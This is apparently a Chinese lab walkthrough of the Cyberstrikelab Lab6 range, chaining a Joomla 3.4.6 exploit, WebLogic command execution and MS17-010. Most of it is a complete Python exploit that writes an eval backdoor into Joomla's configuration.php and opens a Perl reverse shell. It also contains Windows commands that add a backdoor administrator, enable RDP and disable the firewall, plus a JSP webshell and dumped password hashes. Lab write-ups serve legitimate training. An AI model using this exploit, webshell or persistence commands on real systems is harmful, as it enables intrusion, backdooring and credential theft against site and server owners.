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Cyberstrikelab-Lab6

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Cyberstrikelab Joomla Weblogic MS17-010
HYH
作者
HYH
一名专注于网络安全、渗透测试与 CTF 挑战的技术爱好者,热衷于记录实战经验、分享工具与技术,致力于持续学习与成长。
目录

Joomla
#

进入80端口,发现是joomla

使用扫描工具joomscan得到版本信息是3.4.6

#!/usr/bin/env python3
 
import requests
from bs4 import BeautifulSoup
import sys
import string
import random
import argparse
from termcolor import colored
 
PROXS = {'http':'127.0.0.1:8080'}
PROXS = {}
 
def random_string(stringLength):
        letters = string.ascii_lowercase
        return ''.join(random.choice(letters) for i in range(stringLength))
 
 
backdoor_param = random_string(50)
 
def print_info(str):
        print(colored("[*] " + str,"cyan"))
 
def print_ok(str):
        print(colored("[+] "+ str,"green"))
 
def print_error(str):
        print(colored("[-] "+ str,"red"))
 
def print_warning(str):
        print(colored("[!!] " + str,"yellow"))
 
def get_token(url, cook):
        token = ''
        resp = requests.get(url, cookies=cook, proxies = PROXS)
        html = BeautifulSoup(resp.text,'html.parser')
        # csrf token is the last input
        for v in html.find_all('input'):
                csrf = v
        csrf = csrf.get('name')
        return csrf
 
 
def get_error(url, cook):
        resp = requests.get(url, cookies = cook, proxies = PROXS)
        if 'Failed to decode session object' in resp.text:
                #print(resp.text)
                return False
        #print(resp.text)
        return True
 
 
def get_cook(url):
        resp = requests.get(url, proxies=PROXS)
        #print(resp.cookies)
        return resp.cookies
 
 
def gen_pay(function, command):
        # Generate the payload for call_user_func('FUNCTION','COMMAND')
        template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}'
        #payload =  command + ' || $a=\'http://wtf\';'
        payload =  'http://l4m3rz.l337/;' + command
        # Following payload will append an eval() at the enabled of the configuration file
        #payload =  'file_put_contents(\'configuration.php\',\'if(isset($_POST[\\\'test\\\'])) eval($_POST[\\\'test\\\']);\', FILE_APPEND) || $a=\'http://wtf\';'
        function_len = len(function)
        final = template.replace('PAYLOAD',payload).replace('LENGTH', str(len(payload))).replace('FUNC_NAME', function).replace('FUNC_LEN', str(len(function)))
        return final
 
def make_req(url , object_payload):
        # just make a req with object
        print_info('Getting Session Cookie ..')
        cook = get_cook(url)
        print_info('Getting CSRF Token ..')
        csrf = get_token( url, cook)
 
        user_payload = '\\0\\0\\0' * 9
        padding = 'AAA' # It will land at this padding
        working_test_obj = 's:1:"A":O:18:"PHPObjectInjection":1:{s:6:"inject";s:10:"phpinfo();";}'
        clean_object = 'A";s:5:"field";s:10:"AAAAABBBBB' # working good without bad effects
 
        inj_object = '";'
        inj_object += object_payload
        inj_object += 's:6:"return";s:102:' # end the object with the 'return' part
        password_payload = padding + inj_object
        params = {
            'username': user_payload,
            'password': password_payload,
            'option':'com_users',
            'task':'user.login',
            csrf :'1'
            }
 
        print_info('Sending request ..')
        resp  = requests.post(url, proxies = PROXS, cookies = cook,data=params)
        return resp.text
 
def get_backdoor_pay():
        # This payload will backdoor the the configuration .PHP with an eval on POST request
 
        function = 'assert'
        template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}'
        # payload =  command + ' || $a=\'http://wtf\';'
        # Following payload will append an eval() at the enabled of the configuration file
        payload =  'file_put_contents(\'configuration.php\',\'if(isset($_POST[\\\'' + backdoor_param +'\\\'])) eval($_POST[\\\''+backdoor_param+'\\\']);\', FILE_APPEND) || $a=\'http://wtf\';'
        function_len = len(function)
        final = template.replace('PAYLOAD',payload).replace('LENGTH', str(len(payload))).replace('FUNC_NAME', function).replace('FUNC_LEN', str(len(function)))
        return final
 
def check(url):
        check_string = random_string(20)
        target_url = url + 'index.php/component/users'
        html = make_req(url, gen_pay('print_r',check_string))
        if check_string in html:
                return True
        else:
                return False
 
def ping_backdoor(url,param_name):
        res = requests.post(url + '/configuration.php', data={param_name:'echo \'PWNED\';'}, proxies = PROXS)
        if 'PWNED' in res.text:
                return True
        return False
 
def execute_backdoor(url, payload_code):
        # Execute PHP code from the backdoor
        res = requests.post(url + '/configuration.php', data={backdoor_param:payload_code}, proxies = PROXS)
        print(res.text)
 
def exploit(url, lhost, lport):
        # Exploit the target
        # Default exploitation will append en eval function at the end of the configuration.pphp
        # as a bacdoor. btq if you do not want this use the funcction get_pay('php_function','parameters')
        # e.g. get_payload('system','rm -rf /')
 
        # First check that the backdoor has not been already implanted
        target_url = url + 'index.php/component/users'
 
        make_req(target_url, get_backdoor_pay())
        if ping_backdoor(url, backdoor_param):
                print_ok('Backdoor implanted, eval your code at ' + url + '/configuration.php in a POST with ' + backdoor_param)
                print_info('Now it\'s time to reverse, trying with a system + perl')
                execute_backdoor(url, 'system(\'perl -e \\\'use Socket;$i="'+ lhost +'";$p='+ str(lport) +';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\\\'\');')
 
 
if __name__ == '__main__':
        parser = argparse.ArgumentParser()
        parser.add_argument('-t','--target',required=True,help='Joomla Target')
        parser.add_argument('-c','--check', default=False, action='store_true', required=False,help='Check only')
        parser.add_argument('-e','--exploit',default=False,action='store_true',help='Check and exploit')
        parser.add_argument('-l','--lhost', required='--exploit' in sys.argv, help='Listener IP')
        parser.add_argument('-p','--lport', required='--exploit' in sys.argv, help='Listener port')
        args = vars(parser.parse_args())
 
        url = args['target']
        if(check(url)):
                print_ok('Vulnerable')
                if args['exploit']:
                        exploit(url, args['lhost'], args['lport'])
                else:
                        print_info('Use --exploit to exploit it')
 
        else:
                print_error('Seems NOT Vulnerable ;/')

运行一下生成后门

连接蚁剑,根目录拿到flag1
上线cs并且开启RDP,添加后门用户

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
net user hack Admin@123 /add
net localgroup Administrators hack /add
netsh firewall set opmode disable

我这里远程端有点问题,先用kali上RDP改下设置

然后可以本地物理机连接
没内网,还是上传fscan进行扫描

Weblogic
#

扫描发现192.168.10.20:7001上面有weblogic

利用工具直接能够命令执行

在根目录拿到flag2
准备上传一个shell木马,这里一级一级的去找目录

dir C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\bea_wls_internal\9j4dqk\war /a

然后一句话木马

<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
 
    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("passwd");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>

如下连接成功

上传定向木马,上线cs

MS17-010
#

拿哈希吧

[07/20 05:28:19] [+] received password hashes:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:783c439cba767ec722d0c8a399182be3:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
hack:1001:aad3b435b51404eeaad3b435b51404ee:570a9a65db8fba761c1008a51d4c95ab:::

可以走winrm

也可以走远程桌面,看到还有一个192.168.20.20
上传fscan扫描得到MS17-010
搭建好代理后用msf
拿到flag3

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